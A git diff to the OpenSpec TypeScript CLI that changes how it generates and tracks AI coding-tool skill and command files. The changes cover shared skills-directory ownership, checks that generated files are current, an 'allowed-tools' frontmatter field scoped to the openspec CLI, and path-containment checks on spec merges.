+ try { + const target = markerPath(projectPath, skillsDir); + FileSystemUtils.assertProjectArtifactPath(projectPath, target); + return fs.readFileSync(target, 'utf-8').trim() || undefined; + } catch { + return undefined; + } +} + +/** Whether a tool still has an allowlisted managed skill under an old root. */ +function hasLegacySkills(projectPath: string, tool: AIToolOption): boolean { + return (tool.legacySkillsDirs ?? []).some((root) => { + const skillsDir = path.join(projectPath, root, 'skills'); + return OPENSPEC_SKILL_NAMES.some((skillName) => { + try { + const skillFile = path.join(skillsDir, skillName, 'SKILL.md'); + FileSystemUtils.assertProjectArtifactPath(projectPath, skillFile); + return fs.existsSync(skillFile); + } catch { + return false; + } + }); + }); +} + +/** + * Infers pre-marker ownership from generated invocation syntax. This preserves + * both existing generic `.agents` trees and Codex trees users moved manually. + */ +function inferSharedSkillTarget(projectPath: string, skillsDir: string): string | undefined { + let foundGenericReference = false; + + for (const skillName of OPENSPEC_SKILL_NAMES) { + const skillFile = path.join(projectPath, skillsDir, 'skills', skillName, 'SKILL.md'); + try { + FileSystemUtils.assertProjectArtifactPath(projectPath, skillFile); + const content = fs.readFileSync(skillFile, 'utf-8'); + if (content.includes('$openspec-')) return 'codex'; + if (content.includes('/openspec-')) foundGenericReference = true; + } catch { + // Missing, unreadable, or out-of-project files provide no ownership signal. + } + } + + return foundGenericReference ? 'agents' : undefined; +} + +/** Whether the canonical shared root already contains an OpenSpec skill. */ +function hasCurrentSkills(projectPath: string, skillsDir: string): boolean { + return OPENSPEC_SKILL_NAMES.some((skillName) => { + const skillFile = path.join(projectPath, skillsDir, 'skills', skillName, 'SKILL.md'); + try { + FileSystemUtils.assertProjectArtifactPath(projectPath, skillFile); + return fs.existsSync(skillFile); + } catch { + return false; + } + }); +} + +/** + * A shared skill root can only hold one rendered variant of each skill. + * Keep the writer recorded so later updates do not infer every tool that + * happens to use the same directory. + */ +export function reconcileSharedSkillTargets( + projectPath: string, + tools: AIToolOption[] +): AIToolOption[] { + const byRoot = new Map<string, AIToolOption[]>(); + for (const tool of tools) { + if (!tool.skillsDir) continue; + const group = byRoot.get(tool.skillsDir) ?? []; + group.push(tool); + byRoot.set(tool.skillsDir, group); + } + + const reconciled: AIToolOption[] = []; + for (const group of byRoot.values()) { + if (group.length === 1) { + reconciled.push(group[0]); + continue; + } + + const root = group[0].skillsDir!; + const marked = readSharedSkillTarget(projectPath, root); + const markedTool = group.find((tool) => tool.value === marked); + if (markedTool) { + reconciled.push(markedTool); + continue; + } + + const inferred = inferSharedSkillTarget(projectPath, root); + const legacyCodex = group.find( + (tool) => tool.value === 'codex' && hasLegacySkills(projectPath, tool) + ); + if (inferred === 'agents' && legacyCodex) { + // Before ownership markers existed, selecting both targets produced a + // generic canonical tree plus a Codex-only legacy tree. Codex now emits + // a dual-syntax canonical tree, so it can safely consolidate that state. + reconciled.push(legacyCodex); + continue; + } + const inferredTool = group.find((tool) => tool.value === inferred); + if (inferredTool) { + reconciled.push(inferredTool); + continue; + } + + // An unmarked canonical tree predates Codex's move into `.agents`; keep + // that established agents target instead of overwriting it from `.codex`. + if (hasCurrentSkills(projectPath, root)) { + reconciled.push(group.find((tool) => tool.value === 'agents') ?? group[0]); + continue; + } + + const legacyTool = group.find((tool) => hasLegacySkills(projectPath, tool)); + if (legacyTool) { + reconciled.push(legacyTool); + continue; + } + + // `.agents` existed as the vendor-neutral target before Codex adopted it. + // Unmarked trees therefore retain that established meaning. + reconciled.push(group.find((tool) => tool.value === 'agents') ?? group[0]); + } + + return reconciled; +} + +/** + * Returns whether a tool is the active writer for its physical skills root. + * Non-shared roots are always active. + */ +export function isSharedSkillTargetActive(projectPath: string, toolId: string): boolean { + const tool = AI_TOOLS.find((candidate) => candidate.value === toolId); + if (!tool?.skillsDir) return false; + const sharingRoot = AI_TOOLS.filter((candidate) => candidate.skillsDir === tool.skillsDir); + if (sharingRoot.length < 2) return true; + return reconcileSharedSkillTargets(projectPath, sharingRoot) + .some((candidate) => candidate.value === toolId); +} + +export function writeSharedSkillTarget(projectPath: string, toolId: string): void { + const tool = AI_TOOLS.find((candidate) => candidate.value === toolId); + if (!tool?.skillsDir) return; + const sharingRoot = AI_TOOLS.filter((candidate) => candidate.skillsDir === tool.skillsDir); + if (sharingRoot.length < 2) return; + + const target = markerPath(projectPath, tool.skillsDir); + FileSystemUtils.assertProjectArtifactPath(projectPath, target); + fs.mkdirSync(path.dirname(target), { recursive: true }); + fs.writeFileSync(target, `${toolId}\n`, 'utf-8'); +} diff --git a/src/core/shared/allowed-tools.ts b/src/core/shared/allowed-tools.ts new file mode 100644 index 0000000000..2fc6d74dc1 --- /dev/null +++ b/src/core/shared/allowed-tools.ts @@ -0,0 +1,11 @@ +/** + * Pre-approved tools for generated skills and slash commands, emitted as the + * `allowed-tools` frontmatter field (Agent Skills standard for SKILL.md; + * same field for Claude Code slash commands). Scoped to the OpenSpec CLI so + * agents that honor it stop prompting on each `openspec` call; the field + * only pre-approves — it does not restrict — so any other tool a skill or + * command needs (Read, Write, arbitrary Bash for builds/tests) stays + * available under the user's normal permission settings. Tools that don't + * recognize the field ignore it. + */ +export const OPENSPEC_CLI_ALLOWED_TOOLS = 'Bash(openspec:*)'; diff --git a/src/core/shared/index.ts b/src/core/shared/index.ts index 32b965696a..53533b6907 100644 --- a/src/core/shared/index.ts +++ b/src/core/shared/index.ts @@ -28,3 +28,11 @@ export { getCommandContents, generateSkillContent, } from './skill-generation.js'; + +export { + type SkillCapableTool, + toolSupportsSkills, + getSkillCapableTools, + hasGlobalSkillTarget, + resolveToolSkillsDir, +} from './skill-paths.js'; diff --git a/src/core/shared/skill-content-equivalence.ts b/src/core/shared/skill-content-equivalence.ts new file mode 100644 index 0000000000..807d221491 --- /dev/null +++ b/src/core/shared/skill-content-equivalence.ts @@ -0,0 +1,64 @@ +import { OPENSPEC_SKILL_NAMES } from '../config.js'; + +const GENERATED_VERSION = + /^(?:0|[1-9]\d*)\.(?:0|[1-9]\d*)\.(?:0|[1-9]\d*)(?:-(?:(?:0|[1-9]\d*|\d*[A-Za-z-][0-9A-Za-z-]*)(?:\.(?:0|[1-9]\d*|\d*[A-Za-z-][0-9A-Za-z-]*))*))?(?:\+[0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*)?$/; +const OPENSPEC_SKILL_NAME_SET = new Set<string>(OPENSPEC_SKILL_NAMES); + +/** + * Normalizes checkout line endings and a valid generated version inside the + * YAML frontmatter. Free-form `generatedBy` text in the instructions remains + * material. + */ +function normalizeGeneratedSkill(content: string): string { + const normalized = content.replace(/^\uFEFF/, '').replace(/\r\n/g, '\n'); + const frontmatter = normalized.match(/^---\n[\s\S]*?\n---(?:\n|$)/)?.[0]; + if (!frontmatter) return normalized; + + const versionLine = + /^(\s*generatedBy:\s*)(?:"([^"\n]+)"|'([^'\n]+)'|([^\s"'#]+))\s*$/m; + const normalizedFrontmatter = frontmatter.replace( + versionLine, + ( + line: string, + prefix: string, + doubleQuoted: string | undefined, + singleQuoted: string | undefined, + bare: string | undefined + ) => { + const version = doubleQuoted ?? singleQuoted ?? bare; + return version && GENERATED_VERSION.test(version) + ? `${prefix}"<generated-version>"` + : line; + } + ); + return normalizedFrontmatter + normalized.slice(frontmatter.length); +} + +/** + * Converts only known generated dual references in current Codex content back + * to the direct syntax used by legacy `.codex` output. + */ +function toLegacyCodexReferences(content: string): string { + return content.replace( + /\$(openspec-[a-z0-9-]+) \(Codex\) or \/\1 \(other agents\)/g, + (match, skillName: string) => + OPENSPEC_SKILL_NAME_SET.has(skillName) ? `$${skillName}` : match + ); +} + +/** + * Returns whether a legacy Codex skill differs from the current canonical + * replacement only by generated version, checkout line endings/BOM, or the + * known Codex/generic dual-reference expansion. + */ +export function isLegacyCodexSkillEquivalentToCurrent( + legacyContent: string, + currentContent: string +): boolean { + const normalizedLegacy = normalizeGeneratedSkill(legacyContent); + const normalizedCurrent = normalizeGeneratedSkill(currentContent); + return ( + normalizedLegacy === normalizedCurrent || + normalizedLegacy === toLegacyCodexReferences(normalizedCurrent) + ); +} diff --git a/src/core/shared/skill-generation.ts b/src/core/shared/skill-generation.ts index 898e7a25e8..f671b4de73 100644 --- a/src/core/shared/skill-generation.ts +++ b/src/core/shared/skill-generation.ts @@ -9,6 +9,7 @@ import { getNewChangeSkillTemplate, getContinueChangeSkillTemplate, getApplyChangeSkillTemplate, + getUpdateChangeSkillTemplate, getFfChangeSkillTemplate, getSyncSpecsSkillTemplate, getArchiveChangeSkillTemplate, @@ -20,6 +21,7 @@ import { getOpsxNewCommandTemplate, getOpsxContinueCommandTemplate, getOpsxApplyCommandTemplate, + getOpsxUpdateCommandTemplate, getOpsxFfCommandTemplate, getOpsxSyncCommandTemplate, getOpsxArchiveCommandTemplate, @@ -30,6 +32,7 @@ import { type SkillTemplate, } from '../templates/skill-templates.js'; import type { CommandContent } from '../command-generation/index.js'; +import { OPENSPEC_CLI_ALLOWED_TOOLS } from './allowed-tools.js'; /** * Skill template with directory name and workflow ID mapping. @@ -59,6 +62,7 @@ export function getSkillTemplates(workflowFilter?: readonly string[]): SkillTemp { template: getNewChangeSkillTemplate(), dirName: 'openspec-new-change', workflowId: 'new' }, { template: getContinueChangeSkillTemplate(), dirName: 'openspec-continue-change', workflowId: 'continue' }, { template: getApplyChangeSkillTemplate(), dirName: 'openspec-apply-change', workflowId: 'apply' }, + { template: getUpdateChangeSkillTemplate(), dirName: 'openspec-update-change', workflowId: 'update' }, { template: getFfChangeSkillTemplate(), dirName: 'openspec-ff-change', workflowId: 'ff' }, { template: getSyncSpecsSkillTemplate(), dirName: 'openspec-sync-specs', workflowId: 'sync' }, { template: getArchiveChangeSkillTemplate(), dirName: 'openspec-archive-change', workflowId: 'archive' }, @@ -85,6 +89,7 @@ export function getCommandTemplates(workflowFilter?: readonly string[]): Command { template: getOpsxNewCommandTemplate(), id: 'new' }, { template: getOpsxContinueCommandTemplate(), id: 'continue' }, { template: getOpsxApplyCommandTemplate(), id: 'apply' }, + { template: getOpsxUpdateCommandTemplate(), id: 'update' }, { template: getOpsxFfCommandTemplate(), id: 'ff' }, { template: getOpsxSyncCommandTemplate(), id: 'sync' }, { template: getOpsxArchiveCommandTemplate(), id: 'archive' }, @@ -136,6 +141,7 @@ export function generateSkillContent( return `--- name: ${template.name} description: ${template.description} +allowed-tools: ${OPENSPEC_CLI_ALLOWED_TOOLS} license: ${template.license || 'MIT'} compatibility: ${template.compatibility || 'Requires openspec CLI.'} metadata: diff --git a/src/core/shared/skill-paths.ts b/src/core/shared/skill-paths.ts new file mode 100644 index 0000000000..ceca0a8294 --- /dev/null +++ b/src/core/shared/skill-paths.ts @@ -0,0 +1,38 @@ +import os from 'node:os'; +import path from 'node:path'; + +import { AI_TOOLS, type AIToolOption } from '../config.js'; + +export type SkillCapableTool = AIToolOption & ( + | { skillsDir: string } + | { globalSkillsDir: string } +); + +export function toolSupportsSkills(tool: AIToolOption): tool is SkillCapableTool { + return Boolean(tool.skillsDir || tool.globalSkillsDir); +} + +export function getSkillCapableTools(): SkillCapableTool[] { + return AI_TOOLS.filter(toolSupportsSkills); +} + +export function hasGlobalSkillTarget(tool: AIToolOption): boolean { + return Boolean(tool.globalSkillsDir); +} + +export function resolveToolSkillsDir( + projectRoot: string, + tool: SkillCapableTool, + options: { homeDir?: string } = {} +): string { + if (tool.globalSkillsDir) { + const homeDir = options.homeDir ?? process.env.USERPROFILE ?? process.env.HOME ?? os.homedir(); + return path.join(homeDir, tool.globalSkillsDir, 'skills'); + } + + if (tool.skillsDir) { + return path.join(projectRoot, tool.skillsDir, 'skills'); + } + + throw new Error(`Tool '${tool.value}' does not support skill generation.`); +} diff --git a/src/core/shared/tool-detection.ts b/src/core/shared/tool-detection.ts index 72a0ebc8a3..fde90caec9 100644 --- a/src/core/shared/tool-detection.ts +++ b/src/core/shared/tool-detection.ts @@ -6,24 +6,30 @@ import path from 'path'; import * as fs from 'fs'; -import { AI_TOOLS } from '../config.js'; +import { AI_TOOLS, OPENSPEC_SKILL_NAMES } from '../config.js'; +import { CommandAdapterRegistry, generateCommands } from '../command-generation/index.js'; +import { getCommandContents } from './skill-generation.js'; +import { getGlobalConfig } from '../global-config.js'; +import { getProfileWorkflows, ALL_WORKFLOWS } from '../profiles.js'; +import { + isSharedSkillTargetActive, + readSharedSkillTarget, + reconcileSharedSkillTargets, +} from '../shared-skill-target.js'; +import { + shouldGenerateCommandsForTool, + shouldGenerateSkillsForTool, +} from '../command-surface.js'; +import { + getSkillCapableTools, + resolveToolSkillsDir, + toolSupportsSkills, +} from './skill-paths.js'; /** * Names of skill directories created by openspec init. */ -export const SKILL_NAMES = [ - 'openspec-explore', - 'openspec-new-change', - 'openspec-continue-change', - 'openspec-apply-change', - 'openspec-ff-change', - 'openspec-sync-specs', - 'openspec-archive-change', - 'openspec-bulk-archive-change', - 'openspec-verify-change', - 'openspec-onboard', - 'openspec-propose', -] as const; +export const SKILL_NAMES = OPENSPEC_SKILL_NAMES; export type SkillName = (typeof SKILL_NAMES)[number]; @@ -35,6 +41,7 @@ export const COMMAND_IDS = [ 'new', 'continue', 'apply', + 'update', 'ff', 'sync', 'archive', @@ -66,9 +73,13 @@ export interface ToolVersionStatus { toolId: string; /** The tool's display name */ toolName: string; - /** Whether the tool has any skills configured */ + /** Whether the tool has any skills or commands configured */ configured: boolean; - /** The generatedBy version found in the skill files, or null if not found */ + /** + * The generatedBy version recorded in the tool's skill files. For a tool that + * has commands but no skills, the current version when the command files match + * what would be generated now. Null when neither says the files are current. + */ generatedByVersion: string | null; /** Whether the tool needs updating (version mismatch or missing) */ needsUpdate: boolean; @@ -78,7 +89,7 @@ export interface ToolVersionStatus { * Gets the list of tools with skillsDir configured. */ export function getToolsWithSkillsDir(): string[] { - return AI_TOOLS.filter((t) => t.skillsDir).map((t) => t.value); + return getSkillCapableTools().map((tool) => tool.value); } /** @@ -86,16 +97,25 @@ export function getToolsWithSkillsDir(): string[] { */ export function getToolSkillStatus(projectRoot: string, toolId: string): ToolSkillStatus { const tool = AI_TOOLS.find((t) => t.value === toolId); - if (!tool?.skillsDir) { + if (!tool || !toolSupportsSkills(tool)) { + return { configured: false, fullyConfigured: false, skillCount: 0 }; + } + if (tool.skillsDir && !isSharedSkillTargetActive(projectRoot, toolId)) { return { configured: false, fullyConfigured: false, skillCount: 0 }; } - const skillsDir = path.join(projectRoot, tool.skillsDir, 'skills'); + const skillsDirs = [ + resolveToolSkillsDir(projectRoot, tool), + ...(tool.legacySkillsDirs ?? []).map((root) => + path.join(projectRoot, root, 'skills') + ), + ]; let skillCount = 0; for (const skillName of SKILL_NAMES) { - const skillFile = path.join(skillsDir, skillName, 'SKILL.md'); - if (fs.existsSync(skillFile)) { + if (skillsDirs.some((skillsDir) => + fs.existsSync(path.join(skillsDir, skillName, 'SKILL.md')) + )) { skillCount++; } } @@ -107,15 +127,132 @@ export function getToolSkillStatus(projectRoot: string, toolId: string): ToolSki }; } +/** + * Checks whether a tool has at least one generated OpenSpec command file. + */ +export function toolHasAnyConfiguredCommand(projectPath: string, toolId: string): boolean { + const adapter = CommandAdapterRegistry.get(toolId); + if (!adapter) return false; + + for (const commandId of COMMAND_IDS) { + const cmdPath = adapter.getFilePath(commandId); + const fullPath = path.isAbsolute(cmdPath) ? cmdPath : path.join(projectPath, cmdPath); + if (fs.existsSync(fullPath)) { + return true; + } + } + + return false; +} + +/** + * Normalizes checkout artifacts that are not real content drift: a UTF-8 BOM and + * CRLF line endings, which a Windows clone with `core.autocrlf` reintroduces on + * every checkout of committed command files. + */ +function normalizeCommandContent(content: string): string { + return content.replace(/^\uFEFF/, '').replace(/\r\n/g, '\n'); +} + +/** + * Checks whether command files for a tool on disk match current generated command contents. + * + * Command files carry no version stamp, so content equality is the only available + * "is this current?" signal for a commands-only install. + */ +export function areCommandFilesUpToDate( + projectRoot: string, + toolId: string, + options?: { + workflows?: readonly string[]; + } +): boolean { + const adapter = CommandAdapterRegistry.get(toolId); + if (!adapter) return false; + + let workflows: readonly string[]; + if (options?.workflows) { + workflows = options.workflows; + } else { + try { + const globalCfg = getGlobalConfig(); + const profile = globalCfg.profile ?? 'core'; + workflows = getProfileWorkflows(profile, globalCfg.workflows); + } catch { + workflows = ALL_WORKFLOWS; + } + } + + const knownWorkflows = workflows.filter((w): w is (typeof ALL_WORKFLOWS)[number] => + (ALL_WORKFLOWS as readonly string[]).includes(w) + ); + + const commandContents = getCommandContents(knownWorkflows); + const generatedCommands = generateCommands(commandContents, adapter); + + if (generatedCommands.length === 0) { + return false; + } + + for (const cmd of generatedCommands) { + const cmdPath = path.isAbsolute(cmd.path) ? cmd.path : path.join(projectRoot, cmd.path); + if (!fs.existsSync(cmdPath)) { + return false; + } + try { + const existingContent = fs.readFileSync(cmdPath, 'utf-8'); + if (normalizeCommandContent(existingContent) !== normalizeCommandContent(cmd.fileContent)) { + return false; + } + } catch { + return false; + } + } + + // Also check no extra command files exist for deselected workflows + const desiredWorkflowSet = new Set(knownWorkflows); + for (const workflow of ALL_WORKFLOWS) { + if (desiredWorkflowSet.has(workflow)) continue; + const cmdPath = adapter.getFilePath(workflow); + const fullPath = path.isAbsolute(cmdPath) ? cmdPath : path.join(projectRoot, cmdPath); + if (fs.existsSync(fullPath)) { + return false; + } + } + + return true; +} + /** * Gets the skill status for all tools with skillsDir configured. */ export function getToolStates(projectRoot: string): Map<string, ToolSkillStatus> { const states = new Map<string, ToolSkillStatus>(); - const toolIds = AI_TOOLS.filter((t) => t.skillsDir).map((t) => t.value); + const tools = getSkillCapableTools(); - for (const toolId of toolIds) { - states.set(toolId, getToolSkillStatus(projectRoot, toolId)); + for (const tool of tools) { + const skillStatus = getToolSkillStatus(projectRoot, tool.value); + const markerConfigured = + Boolean(tool.skillsDir) && + readSharedSkillTarget(projectRoot, tool.skillsDir!) === tool.value; + states.set( + tool.value, + markerConfigured + ? { ...skillStatus, configured: true } + : skillStatus + ); + } + + const configuredTools = tools.filter( + (tool) => tool.skillsDir && states.get(tool.value)?.configured + ); + const activeSharedTargets = new Set( + reconcileSharedSkillTargets(projectRoot, configuredTools).map((tool) => tool.value) + ); + for (const tool of configuredTools) { + if (!activeSharedTargets.has(tool.value)) { + states.set(tool.value, { configured: false, fullyConfigured: false, skillCount: 0 }); + } } return states; @@ -155,15 +292,19 @@ export function extractGeneratedByVersion(skillFilePath: string): string | null } /** - * Gets version status for a tool by reading the first available skill file. + * Gets version status for a tool by reading its skill files, falling back to a + * command-content fingerprint for installs that have commands but no skills. */ export function getToolVersionStatus( projectRoot: string, toolId: string, - currentVersion: string + currentVersion: string, + options?: { + workflows?: readonly string[]; + } ): ToolVersionStatus { const tool = AI_TOOLS.find((t) => t.value === toolId); - if (!tool?.skillsDir) { + if (!tool || !toolSupportsSkills(tool)) { return { toolId, toolName: toolId, @@ -173,19 +314,51 @@ export function getToolVersionStatus( }; } - const skillsDir = path.join(projectRoot, tool.skillsDir, 'skills'); + const skillsDirs = [ + resolveToolSkillsDir(projectRoot, tool), + ...(tool.legacySkillsDirs ?? []).map((root) => + path.join(projectRoot, root, 'skills') + ), + ]; let generatedByVersion: string | null = null; + let foundSkill = false; - // Find the first skill file that exists and read its version + // 1. Find the first skill file that exists and read its version for (const skillName of SKILL_NAMES) { - const skillFile = path.join(skillsDir, skillName, 'SKILL.md'); - if (fs.existsSync(skillFile)) { - generatedByVersion = extractGeneratedByVersion(skillFile); - break; + for (const skillsDir of skillsDirs) { + const skillFile = path.join(skillsDir, skillName, 'SKILL.md'); + if (fs.existsSync(skillFile)) { + generatedByVersion = extractGeneratedByVersion(skillFile); + foundSkill = true; + break; + } + } + if (foundSkill) break; + } + + const skillConfigured = getToolSkillStatus(projectRoot, toolId).configured; + const commandConfigured = toolHasAnyConfiguredCommand(projectRoot, toolId); + const markerConfigured = + Boolean(tool.skillsDir) && + readSharedSkillTarget(projectRoot, tool.skillsDir!) === toolId; + const configured = skillConfigured || commandConfigured || markerConfigured; + + // 2. Commands-only installs have no skill file to read a version from, so fall + // back to comparing the generated command content. Deliberately skipped when + // skill files exist: an unreadable version there must still force a rewrite. + if (!skillConfigured && commandConfigured && areCommandFilesUpToDate(projectRoot, toolId, options)) { + generatedByVersion = currentVersion; + } + if (!skillConfigured && !commandConfigured && markerConfigured) { + const delivery = getGlobalConfig().delivery ?? 'both'; + if ( + !shouldGenerateSkillsForTool(toolId, delivery) && + !shouldGenerateCommandsForTool(toolId, delivery) + ) { + generatedByVersion = currentVersion; } } - const configured = getToolSkillStatus(projectRoot, toolId).configured; const needsUpdate = configured && (generatedByVersion === null || generatedByVersion !== currentVersion); return { @@ -198,12 +371,28 @@ export function getToolVersionStatus( } /** - * Gets all configured tools in the project. + * Gets all configured tools in the project (configured via skills or commands). */ export function getConfiguredTools(projectRoot: string): string[] { - return AI_TOOLS - .filter((t) => t.skillsDir && getToolSkillStatus(projectRoot, t.value).configured) - .map((t) => t.value); + const configured = AI_TOOLS + .filter((t) => { + if (!toolSupportsSkills(t)) return false; + return ( + getToolSkillStatus(projectRoot, t.value).configured || + toolHasAnyConfiguredCommand(projectRoot, t.value) || + (Boolean(t.skillsDir) && + readSharedSkillTarget(projectRoot, t.skillsDir!) === t.value) + ); + }); + const activeProjectTools = new Set( + reconcileSharedSkillTargets( + projectRoot, + configured.filter((tool) => tool.skillsDir) + ).map((tool) => tool.value) + ); + return configured + .filter((tool) => tool.globalSkillsDir || activeProjectTools.has(tool.value)) + .map((tool) => tool.value); } /** diff --git a/src/core/specs-apply.ts b/src/core/specs-apply.ts index 70cf36b870..91b9043e7e 100644 --- a/src/core/specs-apply.ts +++ b/src/core/specs-apply.ts @@ -6,45 +6,85 @@ */ import { promises as fs } from 'fs'; +import { randomUUID } from 'crypto'; import path from 'path'; import chalk from 'chalk'; import { extractRequirementsSection, + findMissingCurrentScenarios, + foldRequirementName, parseDeltaSpec, normalizeRequirementName, type RequirementBlock, + type RequirementsSectionParts, } from './parsers/requirement-blocks.js'; import { findMainSpecStructureIssues } from './parsers/spec-structure.js'; -import { Validator } from './validation/validator.js'; +import { buildCodeFenceMask } from './parsers/code-fence.js'; +import { MarkdownParser } from './parsers/markdown-parser.js'; +import { MIN_PURPOSE_LENGTH } from './validation/constants.js'; +import { discoverSpecFiles } from '../utils/spec-discovery.js'; +import { FileSystemUtils } from '../utils/file-system.js'; // ----------------------------------------------------------------------------- // Types // ----------------------------------------------------------------------------- export interface SpecUpdate { + /** Capability id relative to the specs root, forward-slash separated (e.g. "web" or "platform/session-layout"). */ + id: string; + /** Allowed root for the delta source. */ + sourceRoot: string; source: string; + /** Allowed root for the main-spec target. */ + targetRoot: string; target: string; exists: boolean; } -export interface ApplyResult { - capability: string; - added: number; - modified: number; - removed: number; - renamed: number; +function isLexicallyWithin(allowedDirectory: string, targetPath: string): boolean { + const relative = path.relative(path.resolve(allowedDirectory), path.resolve(targetPath)); + return ( + relative === '' || + (relative !== '..' && + !relative.startsWith(`..${path.sep}`) && + !path.isAbsolute(relative)) + ); } -export interface SpecsApplyOutput { - changeName: string; - capabilities: ApplyResult[]; - totals: { - added: number; - modified: number; - removed: number; - renamed: number; - }; - noChanges: boolean; +function resolveTrustedSpecPath(specsRoot: string, specPath: string): { + root: string; + file: string; +} { + if (!isLexicallyWithin(specsRoot, specPath)) { + throw new Error(`Path is outside the allowed directory: ${specPath}`); + } + + try { + // Preserve spec.md links that remain inside the overall specs tree. + FileSystemUtils.assertPathWithin(specsRoot, specPath); + const root = FileSystemUtils.canonicalizeExistingPath(specsRoot); + return { + root, + // Rebase onto the canonical root so missing targets also work when the + // project is reached through an OS path alias (for example /var on macOS). + file: path.join(root, path.relative(path.resolve(specsRoot), path.resolve(specPath))), + }; + } catch { + // Direct capability directories may intentionally be monorepo symlinks. + // Freeze their canonical location as the trust root so later swaps are + // rejected while a nested spec.md link still cannot escape. + const root = FileSystemUtils.canonicalizeExistingPath(path.dirname(specPath)); + const file = path.join(root, path.basename(specPath)); + FileSystemUtils.assertPathWithin(root, file); + return { root, file }; + } +} + +function assertTrustedSpecPath(root: string, specPath: string): void { + if (FileSystemUtils.canonicalizeExistingPath(root) !== path.resolve(root)) { + throw new Error(`Path is outside the allowed directory: ${specPath}`); + } + FileSystemUtils.assertPathWithin(root, specPath); } // ----------------------------------------------------------------------------- @@ -58,38 +98,33 @@ export async function findSpecUpdates(changeDir: string, mainSpecsDir: string): const updates: SpecUpdate[] = []; const changeSpecsDir = path.join(changeDir, 'specs'); - try { - const entries = await fs.readdir(changeSpecsDir, { withFileTypes: true }); + // Discover delta specs recursively so nested layouts like + // specs/<area>/<capability>/spec.md merge into the same relative path + // under the main specs directory (#1353) + const discovered = await discoverSpecFiles(changeSpecsDir); - for (const entry of entries) { - if (entry.isDirectory()) { - const specFile = path.join(changeSpecsDir, entry.name, 'spec.md'); - const targetFile = path.join(mainSpecsDir, entry.name, 'spec.md'); + for (const { id, specFile } of discovered) { + const targetFile = path.join(mainSpecsDir, ...id.split('/'), 'spec.md'); + const source = resolveTrustedSpecPath(changeSpecsDir, specFile); + const target = resolveTrustedSpecPath(mainSpecsDir, targetFile); - try { - await fs.access(specFile); - - // Check if target exists - let exists = false; - try { - await fs.access(targetFile); - exists = true; - } catch { - exists = false; - } - - updates.push({ - source: specFile, - target: targetFile, - exists, - }); - } catch { - // Source spec doesn't exist, skip - } - } + // Check if target exists + let exists = false; + try { + await fs.access(target.file); + exists = true; + } catch { + exists = false; } - } catch { - // No specs directory in change + + updates.push({ + id, + sourceRoot: source.root, + source: source.file, + targetRoot: target.root, + target: target.file, + exists, + }); } return updates; @@ -101,14 +136,63 @@ export async function findSpecUpdates(changeDir: string, mainSpecsDir: string): */ export async function buildUpdatedSpec( update: SpecUpdate, - changeName: string -): Promise<{ rebuilt: string; counts: { added: number; modified: number; removed: number; renamed: number } }> { + changeName: string, + options: { silent?: boolean } = {} +): Promise<{ + rebuilt: string; + counts: { added: number; modified: number; removed: number; renamed: number }; + warnings: string[]; + /** + * Every canonical `### Requirement:` block the delta could act on is gone. + * This is only a *candidate* signal for retirement (#1302): the validator, not + * this count, decides whether `rebuilt` is actually unwritable - it recognises + * requirement shapes this parser sweeps into the preamble, so a spec can be + * blockless here and still validate. See `isRetirableSpec` in archive.ts. + */ + noRequirementBlocks: boolean; + /** + * Every non-blank line of the spec this merge cannot name. + * + * Retirement deletes the whole file, so the only safe question is whether the + * merge can account for all of it. `extractRequirementsSection` splits a spec + * into five slices, and auditing a subset is how this guard kept failing: for + * seven rounds it looked for requirement-SHAPED text and was beaten by a new + * disguise each time, and when it started asking where content landed it + * still read only the preamble and the tail - so content simply moved into a + * slice nobody checked, and authored prose sitting inside a removed block's + * raw was deleted while the report said only "Purpose" was lost. + * + * So this accounts for the whole file: the title, the `## Purpose` section, + * the `## Requirements` header, and, inside each requirement block, the parts + * that make up a requirement - its header, its statement, and its scenarios' + * bullets. Every other non-blank line is reported and refuses the retirement. + * + * Fails safe in every direction: a line this cannot classify counts as + * unaccounted, which refuses rather than deletes. + */ + unaccountedContent: string[]; + /** + * Authored `## ` sections other than Purpose and Requirements. Retirement + * deletes the whole file, so callers name these rather than discarding + * hand-written prose silently. + */ +}> { + // Collected so silent (JSON) callers can surface them; printed live for + // human callers at the point they occur. + const warnings: string[] = []; + const warn = (message: string): void => { + warnings.push(message); + if (!options.silent) { + console.log(chalk.yellow(`⚠️ Warning: ${message}`)); + } + }; // Read change spec content (delta-format expected) + assertTrustedSpecPath(update.sourceRoot, update.source); const changeContent = await fs.readFile(update.source, 'utf-8'); // Parse deltas from the change spec file const plan = parseDeltaSpec(changeContent); - const specName = path.basename(path.dirname(update.target)); + const specName = update.id; // Pre-validate duplicates within sections const addedNames = new Set<string>(); @@ -173,6 +257,21 @@ export async function buildUpdatedSpec( for (const { from, to } of plan.renamed) { const fromNorm = normalizeRequirementName(from); const toNorm = normalizeRequirementName(to); + // A REMOVED naming the FROM side contradicts the rename. This used to + // fail incidentally at apply time (the rename consumed the old header, + // so REMOVED hit "not found"); now that a missing REMOVED target is a + // no-op, the conflict must be rejected explicitly. Compared folded, so + // a case/whitespace variant cannot slip past the guard and degrade + // into a warned no-op. + const removedFoldMatch = [...removedNamesSet].find( + (r) => foldRequirementName(r) === foldRequirementName(fromNorm) + ); + if (removedFoldMatch !== undefined) { + throw new Error( + `${specName} validation failed - requirement present in multiple sections (RENAMED and REMOVED) for header "### Requirement: ${from}"` + + (removedFoldMatch === fromNorm ? '' : ` (REMOVED spells it "${removedFoldMatch}")`) + ); + } if (modifiedNames.has(fromNorm)) { throw new Error( `${specName} validation failed - when a rename exists, MODIFIED must reference the NEW header "### Requirement: ${to}"` @@ -194,16 +293,33 @@ export async function buildUpdatedSpec( const hasAnyDelta = plan.added.length + plan.modified.length + plan.removed.length + plan.renamed.length > 0; if (!hasAnyDelta) { throw new Error( - `Delta parsing found no operations for ${path.basename(path.dirname(update.source))}. ` + + `Delta parsing found no operations for ${update.id}. ` + `Provide ADDED/MODIFIED/REMOVED/RENAMED sections in change spec.` ); } // Load or create base target content + const deltaPurpose = extractPurposeSection(changeContent); let targetContent: string; let isNewSpec = false; + assertTrustedSpecPath(update.targetRoot, update.target); try { targetContent = await fs.readFile(update.target, 'utf-8'); + // A delta Purpose only seeds a spec that does not exist yet. Say so rather + // than dropping it silently - the specs instruction tells authors to write + // one for new capabilities, and the delta file looks identical either way. + // Only when the spec really does have a different Purpose: claiming it + // "already has one" would be false when it has none, and saying anything at + // all is noise when the two bodies match. + if (deltaPurpose) { + const existingPurpose = extractPurposeSection(targetContent); + if (existingPurpose && existingPurpose !== deltaPurpose) { + warn( + `${specName} - delta Purpose ignored; ${specName} already has one. ` + + `Edit ${update.target} directly to change it.` + ); 